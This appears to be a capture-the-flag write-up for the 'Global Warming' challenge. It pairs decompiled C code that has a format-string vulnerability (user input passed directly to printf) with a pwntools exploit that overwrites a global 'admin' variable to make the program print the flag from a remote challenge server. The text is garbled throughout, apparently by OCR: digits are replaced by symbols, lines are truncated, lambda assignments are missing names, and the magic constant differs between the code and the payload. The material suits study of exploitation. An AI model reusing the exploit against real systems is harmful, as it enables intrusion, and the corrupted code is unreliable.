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Global Warming
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; DATA XREF: login+2etr

llint _ cdecl main({int argc, const char **argv, const char **envp)
2

3| char s; // [esp+@h] [ebp-4@8h]

4| dint *v5; // [esp+addh] [ebp-8h]

5

6] v5s = &argc;

7| setbuf(stdout, @);

3| setbuf(stdin, @);

a| setbuf(stderr, @);

18| fgets(&=s, 1824, stdin);

11 login("User"™, &s};

12 return @;

13}

1[int _ cdecl login(int al, char *format)
2

3| int result; // eax

4

5| printf(format);

&l if ( admin == @xB4DBABE3 )

7 result = system("cat flag.txt™);

3| else

9 result = printf("You cannot login as admin.™};
18| return result;

110}

.bss:@884C82C public admin
.bs5:8884C02C admin dd ?
.bs5:8884C82C bss ends
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from pwn import
from LibcSearcher import
from struct import pack

context.os="linux"'
context.arch="1386"
context.log level='debug'

lambda x:io.send(x)
lambda x:io.sendline(x)
lambda x:io.recvuntil(x)
lambda :io.recvline()
lambda :io.recv()

lambda x:io.recv(x)

sla=lambda x,y:io.sendlineafter(x,y)
io=remote('chall.csivit.com',30023)
#1io=process('./global -warming")
elf=ELF('./global-warming")

sl(fmtstr_payload(12,{0x804C02C:0xBADBABE3}))

io.interactive()

wesker@ubuntu: ~/Desktop
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